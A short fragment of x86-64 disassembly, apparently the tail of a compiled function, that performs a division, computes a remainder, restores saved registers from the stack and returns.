div r15d
cmp eax, ecx
jb 0x14004d00a
cmp r8d, r14d
jne 0x14004ce10
mov rbx, qword [rsp + 0x20]
mov eax, esi
mov rbp, qword [rsp + 0x28]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
div r15d
mov eax, edx
pop r15
pop r14
pop r12
ret